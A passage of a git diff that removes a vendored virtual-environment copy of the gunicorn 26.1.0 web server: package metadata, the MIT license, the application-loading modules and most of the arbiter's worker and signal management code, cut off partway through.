b/venv/Lib/site-packages/gunicorn-26.1.0.dist-info/REQUESTED deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/gunicorn-26.1.0.dist-info/WHEEL b/venv/Lib/site-packages/gunicorn-26.1.0.dist-info/WHEEL deleted file mode 100644 index 13013d7b49be5a84c3ee5931b06285b9553cf5d0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn-26.1.0.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (84.0.0) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/venv/Lib/site-packages/gunicorn-26.1.0.dist-info/entry_points.txt b/venv/Lib/site-packages/gunicorn-26.1.0.dist-info/entry_points.txt deleted file mode 100644 index dd8ceebbf528925a1b4a002a87a6a6a6e2e218db..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn-26.1.0.dist-info/entry_points.txt +++ /dev/null @@ -1,6 +0,0 @@ -[console_scripts] -gunicorn = gunicorn.app.wsgiapp:run -gunicornc = gunicorn.ctl.cli:main - -[paste.server_runner] -main = gunicorn.app.pasterapp:serve diff --git a/venv/Lib/site-packages/gunicorn-26.1.0.dist-info/licenses/LICENSE b/venv/Lib/site-packages/gunicorn-26.1.0.dist-info/licenses/LICENSE deleted file mode 100644 index 0795290843e3797b436709ca13e06bbaba3e6bc5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn-26.1.0.dist-info/licenses/LICENSE +++ /dev/null @@ -1,23 +0,0 @@ -2009-2026 (c) Benoît Chesneau -2009-2015 (c) Paul J. Davis - -Permission is hereby granted, free of charge, to any person -obtaining a copy of this software and associated documentation -files (the "Software"), to deal in the Software without -restriction, including without limitation the rights to use, -copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the -Software is furnished to do so, subject to the following -conditions: - -The above copyright notice and this permission notice shall be -included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES -OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT -HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, -WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR -OTHER DEALINGS IN THE SOFTWARE. diff --git a/venv/Lib/site-packages/gunicorn-26.1.0.dist-info/top_level.txt b/venv/Lib/site-packages/gunicorn-26.1.0.dist-info/top_level.txt deleted file mode 100644 index 8f22dccf99affb5ab9b1c65023ec083269269bca..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn-26.1.0.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -gunicorn diff --git a/venv/Lib/site-packages/gunicorn/__init__.py b/venv/Lib/site-packages/gunicorn/__init__.py deleted file mode 100644 index 6543c235f2dcb6f0b0160e251d4b8304735abf83..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/__init__.py +++ /dev/null @@ -1,8 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -version_info = (26, 1, 0) -__version__ = ".".join([str(v) for v in version_info]) -SERVER = "gunicorn" -SERVER_SOFTWARE = "%s/%s" % (SERVER, __version__) diff --git a/venv/Lib/site-packages/gunicorn/__main__.py b/venv/Lib/site-packages/gunicorn/__main__.py deleted file mode 100644 index ceb44d086cc17582034f3b8373cf359459ebaa61..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/__main__.py +++ /dev/null @@ -1,10 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -from gunicorn.app.wsgiapp import run - -if __name__ == "__main__": - # see config.py - argparse defaults to basename(argv[0]) == "__main__.py" - # todo: let runpy.run_module take care of argv[0] rewriting - run(prog="gunicorn") diff --git a/venv/Lib/site-packages/gunicorn/app/__init__.py b/venv/Lib/site-packages/gunicorn/app/__init__.py deleted file mode 100644 index 530e35ca491371b1cd868c074523da1a54ca8439..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/app/__init__.py +++ /dev/null @@ -1,3 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. diff --git a/venv/Lib/site-packages/gunicorn/app/base.py b/venv/Lib/site-packages/gunicorn/app/base.py deleted file mode 100644 index 9bf7a4f0f1a034d5fcedeaf1e8b5bea447ec5c07..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/app/base.py +++ /dev/null @@ -1,235 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. -import importlib.util -import importlib.machinery -import os -import sys -import traceback - -from gunicorn import util -from gunicorn.arbiter import Arbiter -from gunicorn.config import Config, get_default_config_file -from gunicorn import debug - - -class BaseApplication: - """ - An application interface for configuring and loading - the various necessities for any given web framework. - """ - def __init__(self, usage=None, prog=None): - self.usage = usage - self.cfg = None - self.callable = None - self.prog = prog - self.logger = None - self.do_load_config() - - def do_load_config(self): - """ - Loads the configuration - """ - try: - self.load_default_config() - self.load_config() - except Exception as e: - print("\nError: %s" % str(e), file=sys.stderr) - sys.stderr.flush() - sys.exit(1) - - def load_default_config(self): - # init configuration - self.cfg = Config(self.usage, prog=self.prog) - - def init(self, parser, opts, args): - raise NotImplementedError - - def load(self): - raise NotImplementedError - - def load_config(self): - """ - This method is used to load the configuration from one or several input(s). - Custom Command line, configuration file. - You have to override this method in your class. - """ - raise NotImplementedError - - def reload(self): - self.do_load_config() - if self.cfg.spew: - debug.spew() - - def wsgi(self): - if self.callable is None: - self.callable = self.load() - return self.callable - - def run(self): - try: - Arbiter(self).run() - except RuntimeError as e: - print("\nError: %s\n" % e, file=sys.stderr) - sys.stderr.flush() - sys.exit(1) - - -class Application(BaseApplication): - - # 'init' and 'load' methods are implemented by WSGIApplication. - # pylint: disable=abstract-method - - def chdir(self): - # chdir to the configured path before loading, - # default is the current dir - os.chdir(self.cfg.chdir) - - # add the path to sys.path - if self.cfg.chdir not in sys.path: - sys.path.insert(0, self.cfg.chdir) - - def get_config_from_filename(self, filename): - - if not os.path.exists(filename): - raise RuntimeError("%r doesn't exist" % filename) - - ext = os.path.splitext(filename)[1] - - try: - module_name = '__config__' - if ext in [".py", ".pyc"]: - spec = importlib.util.spec_from_file_location(module_name, filename) - else: - msg = "configuration file should have a valid Python extension.\n" - util.warn(msg) - loader_ = importlib.machinery.SourceFileLoader(module_name, filename) - spec = importlib.util.spec_from_file_location(module_name, filename, loader=loader_) - mod = importlib.util.module_from_spec(spec) - sys.modules[module_name] = mod - spec.loader.exec_module(mod) - except Exception: - print("Failed to read config file: %s" % filename, file=sys.stderr) - traceback.print_exc() - sys.stderr.flush() - sys.exit(1) - - return vars(mod) - - def get_config_from_module_name(self, module_name): - return vars(importlib.import_module(module_name)) - - def load_config_from_module_name_or_filename(self, location): - """ - Loads the configuration file: the file is a python file, otherwise raise an RuntimeError - Exception or stop the process if the configuration file contains a syntax error. - """ - - if location.startswith("python:"): - module_name = location[len("python:"):] - cfg = self.get_config_from_module_name(module_name) - else: - if location.startswith("file:"): - filename = location[len("file:"):] - else: - filename = location - cfg = self.get_config_from_filename(filename) - - for k, v in cfg.items(): - # Ignore unknown names - if k not in self.cfg.settings: - continue - try: - self.cfg.set(k.lower(), v) - except Exception: - print("Invalid value for %s: %s\n" % (k, v), file=sys.stderr) - sys.stderr.flush() - raise - - return cfg - - def load_config_from_file(self, filename): - return self.load_config_from_module_name_or_filename(location=filename) - - def load_config(self): - # parse console args - parser = self.cfg.parser() - args = parser.parse_args() - - # optional settings from apps - cfg = self.init(parser, args, args.args) - - # set up import paths and follow symlinks - self.chdir() - - # Load up the any app specific configuration - if cfg: - for k, v in cfg.items(): - self.cfg.set(k.lower(), v) - - env_args = parser.parse_args(self.cfg.get_cmd_args_from_env()) - - if args.config: - self.load_config_from_file(args.config) - elif env_args.config: - self.load_config_from_file(env_args.config) - else: - default_config = get_default_config_file() - if default_config is not None: - self.load_config_from_file(default_config) - - # Load up environment configuration - for k, v in vars(env_args).items(): - if v is None: - continue - if k == "args": - continue - self.cfg.set(k.lower(), v) - - # Lastly, update the configuration with any command line settings. - for k, v in vars(args).items(): - if v is None: - continue - if k == "args": - continue - self.cfg.set(k.lower(), v) - - # current directory might be changed by the config now - # set up import paths and follow symlinks - self.chdir() - - def run(self): - if self.cfg.print_config: - print(self.cfg) - - if self.cfg.print_config or self.cfg.check_config: - try: - self.load() - except Exception: - msg = "\nError while loading the application:\n" - print(msg, file=sys.stderr) - traceback.print_exc() - sys.stderr.flush() - sys.exit(1) - sys.exit(0) - - if self.cfg.spew: - debug.spew() - - if self.cfg.daemon: - if os.environ.get('NOTIFY_SOCKET'): - msg = "Warning: you shouldn't specify `daemon = True`" \ - " when launching by systemd with `Type = notify`" - print(msg, file=sys.stderr, flush=True) - - util.daemonize(self.cfg.enable_stdio_inheritance) - - # set python paths - if self.cfg.pythonpath: - paths = self.cfg.pythonpath.split(",") - for path in paths: - pythonpath = os.path.abspath(path) - if pythonpath not in sys.path: - sys.path.insert(0, pythonpath) - - super().run() diff --git a/venv/Lib/site-packages/gunicorn/app/pasterapp.py b/venv/Lib/site-packages/gunicorn/app/pasterapp.py deleted file mode 100644 index b1738f250099540c1947fe8d6b821d6b196ede29..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/app/pasterapp.py +++ /dev/null @@ -1,74 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -import configparser -import os - -from paste.deploy import loadapp - -from gunicorn.app.wsgiapp import WSGIApplication -from gunicorn.config import get_default_config_file - - -def get_wsgi_app(config_uri, name=None, defaults=None): - if ':' not in config_uri: - config_uri = "config:%s" % config_uri - - return loadapp( - config_uri, - name=name, - relative_to=os.getcwd(), - global_conf=defaults, - ) - - -def has_logging_config(config_file): - parser = configparser.ConfigParser() - parser.read([config_file]) - return parser.has_section('loggers') - - -def serve(app, global_conf, **local_conf): - """\ - A Paste Deployment server runner. - - Example configuration: - - [server:main] - use = egg:gunicorn#main - host = 127.0.0.1 - port = 5000 - """ - config_file = global_conf['__file__'] - gunicorn_config_file = local_conf.pop('config', None) - - host = local_conf.pop('host', '') - port = local_conf.pop('port', '') - if host and port: - local_conf['bind'] = '%s:%s' % (host, port) - elif host: - local_conf['bind'] = host.split(',') - - class PasterServerApplication(WSGIApplication): - def load_config(self): - self.cfg.set("default_proc_name", config_file) - - if has_logging_config(config_file): - self.cfg.set("logconfig", config_file) - - if gunicorn_config_file: - self.load_config_from_file(gunicorn_config_file) - else: - default_gunicorn_config_file = get_default_config_file() - if default_gunicorn_config_file is not None: - self.load_config_from_file(default_gunicorn_config_file) - - for k, v in local_conf.items(): - if v is not None: - self.cfg.set(k.lower(), v) - - def load(self): - return app - - PasterServerApplication().run() diff --git a/venv/Lib/site-packages/gunicorn/app/wsgiapp.py b/venv/Lib/site-packages/gunicorn/app/wsgiapp.py deleted file mode 100644 index 1b0ba969d1561e82bbf8e877307b4fa0203bb0a2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/app/wsgiapp.py +++ /dev/null @@ -1,70 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -import os - -from gunicorn.errors import ConfigError -from gunicorn.app.base import Application -from gunicorn import util - - -class WSGIApplication(Application): - def init(self, parser, opts, args): - self.app_uri = None - - if opts.paste: - from .pasterapp import has_logging_config - - config_uri = os.path.abspath(opts.paste) - config_file = config_uri.split('#')[0] - - if not os.path.exists(config_file): - raise ConfigError("%r not found" % config_file) - - self.cfg.set("default_proc_name", config_file) - self.app_uri = config_uri - - if has_logging_config(config_file): - self.cfg.set("logconfig", config_file) - - return - - if len(args) > 0: - self.cfg.set("default_proc_name", args[0]) - self.app_uri = args[0] - - def load_config(self): - super().load_config() - - if self.app_uri is None: - if self.cfg.wsgi_app is not None: - self.app_uri = self.cfg.wsgi_app - else: - raise ConfigError("No application module specified.") - - def load_wsgiapp(self): - return util.import_app(self.app_uri) - - def load_pasteapp(self): - from .pasterapp import get_wsgi_app - return get_wsgi_app(self.app_uri, defaults=self.cfg.paste_global_conf) - - def load(self): - if self.cfg.paste is not None: - return self.load_pasteapp() - else: - return self.load_wsgiapp() - - -def run(prog=None): - """\ - The ``gunicorn`` command line runner for launching Gunicorn with - generic WSGI applications. - """ - from gunicorn.app.wsgiapp import WSGIApplication - WSGIApplication("%(prog)s [OPTIONS] [APP_MODULE]", prog=prog).run() - - -if __name__ == '__main__': - run() diff --git a/venv/Lib/site-packages/gunicorn/arbiter.py b/venv/Lib/site-packages/gunicorn/arbiter.py deleted file mode 100644 index e0575cce82a55b76ee79cdfe0cd3e500915f7073..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/arbiter.py +++ /dev/null @@ -1,1037 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. -import errno -import os -import queue -import random -import signal -import sys -import time -import traceback -import socket - -from gunicorn.errors import HaltServer, AppImportError -from gunicorn.pidfile import Pidfile -from gunicorn import sock, systemd, util - -from gunicorn import __version__, SERVER_SOFTWARE - -# gunicorn.dirty is imported lazily in spawn_dirty_arbiter() for gevent compatibility - - -class Arbiter: - """ - Arbiter maintain the workers processes alive. It launches or - kills them if needed. It also manages application reloading - via SIGHUP/USR2. - """ - - # A flag indicating if a worker failed to - # to boot. If a worker process exist with - # this error code, the arbiter will terminate. - WORKER_BOOT_ERROR = 3 - - # A flag indicating if an application failed to be loaded - APP_LOAD_ERROR = 4 - - START_CTX = {} - - LISTENERS = [] - WORKERS = {} - - # Sentinel value for non-signal wakeups - WAKEUP_REQUEST = signal.NSIG - - SIGNALS = [getattr(signal, "SIG%s" % x) - for x in "HUP QUIT INT TERM TTIN TTOU USR1 USR2 WINCH".split()] - SIG_NAMES = dict( - (getattr(signal, name), name[3:].lower()) for name in dir(signal) - if name[:3] == "SIG" and name[3] != "_" - ) - - def __init__(self, app): - os.environ["SERVER_SOFTWARE"] = SERVER_SOFTWARE - - self._num_workers = None - self._last_logged_active_worker_count = None - self.log = None - - # Signal queue - SimpleQueue is reentrant-safe for signal handlers - self.SIG_QUEUE = queue.SimpleQueue() - - self.setup(app) - - self.pidfile = None - self.systemd = False - self.worker_age = 0 - self.reexec_pid = 0 - self.master_pid = 0 - self.master_name = "Master" - - # Dirty arbiter process - self.dirty_arbiter_pid = 0 - self.dirty_arbiter = None - self.dirty_pidfile = None # Well-known location for orphan detection - - # Control socket server - self._control_server = None - - # Stats tracking - self._stats = { - 'start_time': None, - 'workers_spawned': 0, - 'workers_killed': 0, - 'reloads': 0, - } - - cwd = util.getcwd() - - args = sys.argv[:] - args.insert(0, sys.executable) - - # init start context - self.START_CTX = { - "args": args, - "cwd": cwd, - 0: sys.executable - } - - def _get_num_workers(self): - return self._num_workers - - def _set_num_workers(self, value): - old_value = self._num_workers - self._num_workers = value - self.cfg.nworkers_changed(self, value, old_value) - num_workers = property(_get_num_workers, _set_num_workers) - - def setup(self, app): - self.app = app - self.cfg = app.cfg - - if self.log is None: - self.log = self.cfg.logger_class(app.cfg) - else: - # reload the logger configuration as well, so that changes - # to the logconfig* and loglevel settings take effect - prev_cfg = self.log.cfg - try: - self.log.setup(app.cfg) - except Exception: - # an invalid log configuration must not kill the master on - # reload: the logger may be left in a broken state, so the - # failure goes to stderr, the previous working configuration - # is restored and the master keeps running with it - print("\nError: reloading the logger configuration failed, " - "keeping the previous one", file=sys.stderr) - traceback.print_exc() - sys.stderr.flush() - try: - self.log.setup(prev_cfg) - except Exception: - print("Error: restoring the previous logger " - "configuration failed", file=sys.stderr) - traceback.print_exc() - sys.stderr.flush() - else: - self.log.error("reloading the logger configuration " - "failed, keeping the previous one") - - # reopen files - if 'GUNICORN_PID' in os.environ: - self.log.reopen_files() - - self.worker_class = self.cfg.worker_class - self.address = self.cfg.address - self.num_workers = self.cfg.workers - self.timeout = self.cfg.timeout - self.proc_name = self.cfg.proc_name - - self.log.debug('Current configuration:\n{0}'.format( - '\n'.join( - ' {0}: {1}'.format(config, value.value) - for config, value - in sorted(self.cfg.settings.items(), - key=lambda setting: setting[1])))) - - # set environment' variables - if self.cfg.env: - for k, v in self.cfg.env.items(): - os.environ[k] = v - - if self.cfg.preload_app: - self.app.wsgi() - - def start(self): - """\ - Initialize the arbiter. Start listening and set pidfile if needed. - """ - self.log.info("Starting gunicorn %s", __version__) - - # Initialize stats tracking - self._stats['start_time'] = time.time() - - if 'GUNICORN_PID' in os.environ: - self.master_pid = int(os.environ.get('GUNICORN_PID')) - self.proc_name = self.proc_name + ".2" - self.master_name = "Master.2" - - self.pid = os.getpid() - if self.cfg.pidfile is not None: - pidname = self.cfg.pidfile - if self.master_pid != 0: - pidname += ".2" - self.pidfile = Pidfile(pidname) - self.pidfile.create(self.pid) - self.cfg.on_starting(self) - - self.init_signals() - - if not self.LISTENERS: - fds = None - listen_fds = systemd.listen_fds() - if listen_fds: - self.systemd = True - fds = range(systemd.SD_LISTEN_FDS_START, - systemd.SD_LISTEN_FDS_START + listen_fds) - - elif self.master_pid: - fds = [] - for fd in os.environ.pop('GUNICORN_FD').split(','): - fds.append(int(fd)) - - if not (self.cfg.reuse_port and hasattr(socket, 'SO_REUSEPORT')): - self.LISTENERS = sock.create_sockets(self.cfg, self.log, fds) - - listeners_str = ",".join([str(lnr) for lnr in self.LISTENERS]) - self.log.debug("Arbiter booted") - self.log.info("Listening at: %s (%s)", listeners_str, self.pid) - self.log.info("Using worker: %s", self.cfg.worker_class_str) - systemd.sd_notify("READY=1\nSTATUS=Gunicorn arbiter booted", self.log) - - # check worker class requirements - if hasattr(self.worker_class, "check_config"): - self.worker_class.check_config(self.cfg, self.log) - - # Start dirty arbiter if configured - if self.cfg.dirty_workers > 0 and self.cfg.dirty_apps: - self.spawn_dirty_arbiter() - - # Note: control socket server is started after initial workers spawn - # to avoid fork deadlocks with asyncio - - self.cfg.when_ready(self) - - def init_signals(self): - """\ - Initialize master signal handling. Most of the signals - are queued. Child signals only wake up the master. - """ - self.log.close_on_exec() - - # initialize all signals - for s in self.SIGNALS: - signal.signal(s, self.signal) - signal.signal(signal.SIGCHLD, self.signal_chld) - - def signal(self, sig, frame): - """Signal handler - NO LOGGING, just queue the signal.""" - self.SIG_QUEUE.put_nowait(sig) - - def run(self): - "Main master loop." - self.start() - util._setproctitle("master [%s]" % self.proc_name) - - try: - self.manage_workers() - - # Start control socket server after initial workers are spawned - # to avoid fork deadlocks with asyncio - self._start_control_server() - - while True: - self.maybe_promote_master() - - # Wait for and process signals - for sig in self.wait_for_signals(timeout=1.0): - if sig not in self.SIG_NAMES: - self.log.info("Ignoring unknown signal: %s", sig) - continue - - signame = self.SIG_NAMES.get(sig) - handler = getattr(self, "handle_%s" % signame, None) - if not handler: - self.log.error("Unhandled signal: %s", signame) - continue - # Log SIGCHLD at debug level since it's frequent - log_level = self.log.debug if sig == signal.SIGCHLD else self.log.info - log_level("Handling signal: %s", signame) - handler() - - self.murder_workers() - self.manage_workers() - self.manage_dirty_arbiter() - except (StopIteration, KeyboardInterrupt): - self.halt() - except HaltServer as inst: - self.halt(reason=inst.reason, exit_status=inst.exit_status) - except SystemExit: - raise - except Exception: - self.log.error("Unhandled exception in main loop", - exc_info=True) - self.stop(False) - if self.pidfile is not None: - self.pidfile.unlink() - sys.exit(-1) - - def signal_chld(self, sig, frame): - """SIGCHLD signal handler - NO LOGGING, just queue the signal.""" - self.SIG_QUEUE.put_nowait(sig) - - def handle_chld(self): - """SIGCHLD handling - called from main loop, safe to log.""" - # Reap the dirty arbiter first: its targeted waitpid identifies the - # process, whereas reap_workers() uses waitpid(-1) and would claim it - # as an unknown child. - self.reap_dirty_arbiter() - self.reap_workers() - - # SIGCLD is an alias for SIGCHLD on Linux. The SIG_NAMES dict may map - # to either "chld" or "cld" depending on iteration order of dir(signal). - handle_cld = handle_chld - - def handle_hup(self): - """\ - HUP handling. - - Reload configuration - - Start the new worker processes with a new configuration - - Gracefully shutdown the old worker processes - """ - self.log.info("Hang up: %s", self.master_name) - self.reload() - # Forward to dirty arbiter - if self.dirty_arbiter_pid: - self.kill_dirty_arbiter(signal.SIGHUP) - - def handle_term(self): - "SIGTERM handling" - raise StopIteration - - def handle_int(self): - "SIGINT handling" - self.stop(False) - raise StopIteration - - def handle_quit(self): - "SIGQUIT handling" - self.stop(False) - raise StopIteration - - def handle_ttin(self): - """\ - SIGTTIN handling. - Increases the number of workers by one. - """ - self.num_workers += 1 - self.manage_workers() - - def handle_ttou(self): - """\ - SIGTTOU handling. - Decreases the number of workers by one. - """ - if self.num_workers <= 1: - return - self.num_workers -= 1 - self.manage_workers() - - def handle_usr1(self): - """\ - SIGUSR1 handling. - Kill all workers by sending them a SIGUSR1 - """ - self.log.reopen_files() - self.kill_workers(signal.SIGUSR1) - # Forward to dirty arbiter - if self.dirty_arbiter_pid: - self.kill_dirty_arbiter(signal.SIGUSR1) - - def handle_usr2(self): - """\ - SIGUSR2 handling. - Creates a new arbiter/worker set as a fork of the current - arbiter without affecting old workers. Use this to do live - deployment with the ability to backout a change. - """ - self.reexec() - - def handle_winch(self): - """SIGWINCH handling""" - if self.cfg.daemon: - self.log.info("graceful stop of workers") - self.num_workers = 0 - self.kill_workers(signal.SIGTERM) - else: - self.log.debug("SIGWINCH ignored. Not daemonized") - - def maybe_promote_master(self): - if self.master_pid == 0: - return - - if self.master_pid != os.getppid(): - self.log.info("Master has been promoted.") - # reset master infos - self.master_name = "Master" - self.master_pid = 0 - self.proc_name = self.cfg.proc_name - del os.environ['GUNICORN_PID'] - # rename the pidfile - if self.pidfile is not None: - self.pidfile.rename(self.cfg.pidfile) - # reset proctitle - util._setproctitle("master [%s]" % self.proc_name) - - def wakeup(self): - """Wake up the arbiter's main loop.""" - self.SIG_QUEUE.put_nowait(self.WAKEUP_REQUEST) - - def halt(self, reason=None, exit_status=0): - """ halt arbiter """ - # Stop control socket server first - self._stop_control_server() - - self.stop() - - log_func = self.log.info if exit_status == 0 else self.log.error - log_func("Shutting down: %s", self.master_name) - if reason is not None: - log_func("Reason: %s", reason) - - if self.pidfile is not None: - self.pidfile.unlink() - self.cfg.on_exit(self) - sys.exit(exit_status) - - def wait_for_signals(self, timeout=1.0): - """\ - Wait for signals with timeout. - Returns a list of signals that were received. - """ - signals = [] - try: - # Block until we get a signal or timeout - sig = self.SIG_QUEUE.get(block=True, timeout=timeout) - if sig != self.WAKEUP_REQUEST: - signals.append(sig) - # Drain any additional queued signals - while True: - try: - sig = self.SIG_QUEUE.get_nowait() - if sig != self.WAKEUP_REQUEST: - signals.append(sig) - except queue.Empty: - break - except queue.Empty: - pass - except KeyboardInterrupt: - sys.exit() - return signals - - def stop(self, graceful=True): - """\ - Stop workers - - :attr graceful: boolean, If True (the default) workers will be - killed gracefully (ie. trying to wait for the current connection) - """ - unlink = ( - self.reexec_pid == self.master_pid == 0 - and not self.systemd - and not self.cfg.reuse_port - ) - sock.close_sockets(self.LISTENERS, unlink) - - self.LISTENERS = [] - sig = signal.SIGTERM - if not graceful: - sig = signal.SIGQUIT - limit = time.time() + self.cfg.graceful_timeout - - # Stop dirty arbiter - if self.dirty_arbiter_pid: - self.kill_dirty_arbiter(sig) - - # instruct the workers to exit - self.kill_workers(sig) - # wait until the graceful timeout - quick_shutdown = not graceful - while (self.WORKERS or self.dirty_arbiter_pid) and time.time() < limit: - # Check for SIGINT/SIGQUIT to trigger quick shutdown - if not quick_shutdown: - try: - pending_sig = self.SIG_QUEUE.get_nowait() - if pending_sig in (signal.SIGINT, signal.SIGQUIT): - self.log.info("Quick shutdown requested") - quick_shutdown = True - self.kill_workers(signal.SIGQUIT) - if self.dirty_arbiter_pid: - self.kill_dirty_arbiter(signal.SIGQUIT) - # Give workers a short time to exit cleanly - limit = time.time() + 2.0 - except Exception: - pass - self.reap_workers() - self.reap_dirty_arbiter() - time.sleep(0.1) - - self.kill_workers(signal.SIGKILL) - if self.dirty_arbiter_pid: - self.kill_dirty_arbiter(signal.SIGKILL) - # Final reap to clean up any remaining zombies - self.reap_workers() - self.reap_dirty_arbiter() - - def reexec(self): - """\ - Relaunch the master and workers. - """ - if self.reexec_pid != 0: - self.log.warning("USR2 signal ignored. Child exists.") - return - - if self.master_pid != 0: - self.log.warning("USR2 signal ignored. Parent exists.") - return - - master_pid = os.getpid() - self.reexec_pid = os.fork() - if self.reexec_pid != 0: - return - - self.cfg.pre_exec(self) - - environ = self.cfg.env_orig.copy() - environ['GUNICORN_PID'] = str(master_pid) - - if self.systemd: - environ['LISTEN_PID'] = str(os.getpid()) - environ['LISTEN_FDS'] = str(len(self.LISTENERS)) - else: - environ['GUNICORN_FD'] = ','.join( - str(lnr.fileno()) for lnr in self.LISTENERS) - - os.chdir(self.START_CTX['cwd']) - - # exec the process using the original environment - os.execvpe(self.START_CTX[0], self.START_CTX['args'], environ) - - def reload(self): - # Track reload stats - self._stats['reloads'] += 1 - - old_address = self.cfg.address - - # reset old environment - for k in self.cfg.env: - if k in self.cfg.env_orig: - # reset the key to the value it had before - # we launched gunicorn - os.environ[k] = self.cfg.env_orig[k] - else: - # delete the value set by gunicorn - try: - del os.environ[k] - except KeyError: - pass - - # reload conf - self.app.reload() - self.setup(self.app) - - # reopen log files - self.log.reopen_files() - - # do we need to change listener ? - if old_address != self.cfg.address: - # close all listeners - for lnr in self.LISTENERS: - lnr.close() - # init new listeners - self.LISTENERS = sock.create_sockets(self.cfg, self.log) - listeners_str = ",".join([str(lnr) for lnr in self.LISTENERS]) - self.log.info("Listening at: %s", listeners_str) - - # do some actions on reload - self.cfg.on_reload(self) - - # unlink pidfile - if self.pidfile is not None: - self.pidfile.unlink() - - # create new pidfile - if self.cfg.pidfile is not None: - self.pidfile = Pidfile(self.cfg.pidfile) - self.pidfile.create(self.pid) - - # set new proc_name - util._setproctitle("master [%s]" % self.proc_name) - - # Remember current worker age before spawning new workers - last_worker_age = self.worker_age - - # spawn new workers - for _ in range(self.cfg.workers): - self.spawn_worker() - - # manage workers - this will kill old workers beyond num_workers - self.manage_workers() - - # wait for old workers to terminate to prevent double SIGTERM - deadline = time.monotonic() + self.cfg.graceful_timeout - while time.monotonic() < deadline: - if not self.WORKERS: - break - # Check if all remaining workers are newer than last_worker_age - oldest = min(w.age for w in self.WORKERS.values()) - if oldest > last_worker_age: - break - self.reap_workers() - time.sleep(0.1) - - def murder_workers(self): - """\ - Kill unused/idle workers - """ - if not self.timeout: - return - workers = list(self.WORKERS.items()) - for (pid, worker) in workers: - try: - if time.monotonic() - worker.tmp.last_update() <= self.timeout: - continue - except (OSError, ValueError): - continue - - if not worker.aborted: - self.log.critical("WORKER TIMEOUT (pid:%s)", pid) - worker.aborted = True - self.kill_worker(pid, signal.SIGABRT) - else: - self.kill_worker(pid, signal.SIGKILL) - - def reap_workers(self): - """\ - Reap workers to avoid zombie processes - """ - try: - while True: - wpid, status = os.waitpid(-1, os.WNOHANG) - if not wpid: - break - if self.reexec_pid == wpid: - self.reexec_pid = 0 - elif self.dirty_arbiter_pid == wpid: - # Normally claimed by reap_dirty_arbiter(), but it can exit - # while this loop is running. - self.handle_dirty_arbiter_exit(wpid, status) - else: - # waitpid(-1) reaps every child, and when gunicorn runs as - # PID 1 the kernel reparents orphans onto it. Those are not - # ours: reap them so they do not linger as zombies, but do - # not report them as workers or let them halt the server. - worker = self.WORKERS.pop(wpid, None) - if worker is None: - self.log.debug( - "Reaped unknown child process (pid:%s, status:%s)", - wpid, status) - continue - - # A worker was terminated. If the termination reason was - # that it could not boot, we'll shut it down to avoid - # infinite start/stop cycles. - exitcode = None - if os.WIFEXITED(status): - exitcode = os.WEXITSTATUS(status) - elif os.WIFSIGNALED(status): - sig = os.WTERMSIG(status) - try: - sig_name = signal.Signals(sig).name - except ValueError: - sig_name = "signal {}".format(sig) - msg = "Worker (pid:%s) was sent %s!" - msg_args = [wpid, sig_name] - - # SIGKILL suggests OOM, log as error - if sig == signal.SIGKILL: - msg += " Perhaps out of memory?" - self.log.error(msg, *msg_args) - elif sig == signal.SIGTERM: - # SIGTERM is expected during graceful shutdown - self.log.info(msg, *msg_args) - else: - # Other signals are unexpected - self.log.warning(msg, *msg_args) - - if exitcode is not None and exitcode != 0: - self.log.error("Worker (pid:%s) exited with code %s.", - wpid, exitcode) - - if exitcode == self.WORKER_BOOT_ERROR: - reason = "Worker failed to boot." - raise HaltServer(reason, self.WORKER_BOOT_ERROR) - if exitcode == self.APP_LOAD_ERROR: - reason = "App failed to load." - raise HaltServer(reason, self.APP_LOAD_ERROR) - - worker.tmp.close() - self.cfg.child_exit(self, worker) - except OSError as e: - if e.errno != errno.ECHILD: - raise - - def manage_workers(self): - """\ - Maintain the number of workers by spawning or killing - as required. - """ - if len(self.WORKERS) < self.num_workers: - self.spawn_workers() - - workers = self.WORKERS.items() - workers = sorted(workers, key=lambda w: w[1].age) - while len(workers) > self.num_workers: - (pid, _) = workers.pop(0) - self.kill_worker(pid, signal.SIGTERM) - - active_worker_count = len(workers) - if self._last_logged_active_worker_count != active_worker_count: - self._last_logged_active_worker_count = active_worker_count - self.log.debug("{0} workers".format(active_worker_count), - extra={"metric": "gunicorn.workers", - "value": active_worker_count, - "mtype": "gauge"}) - - if 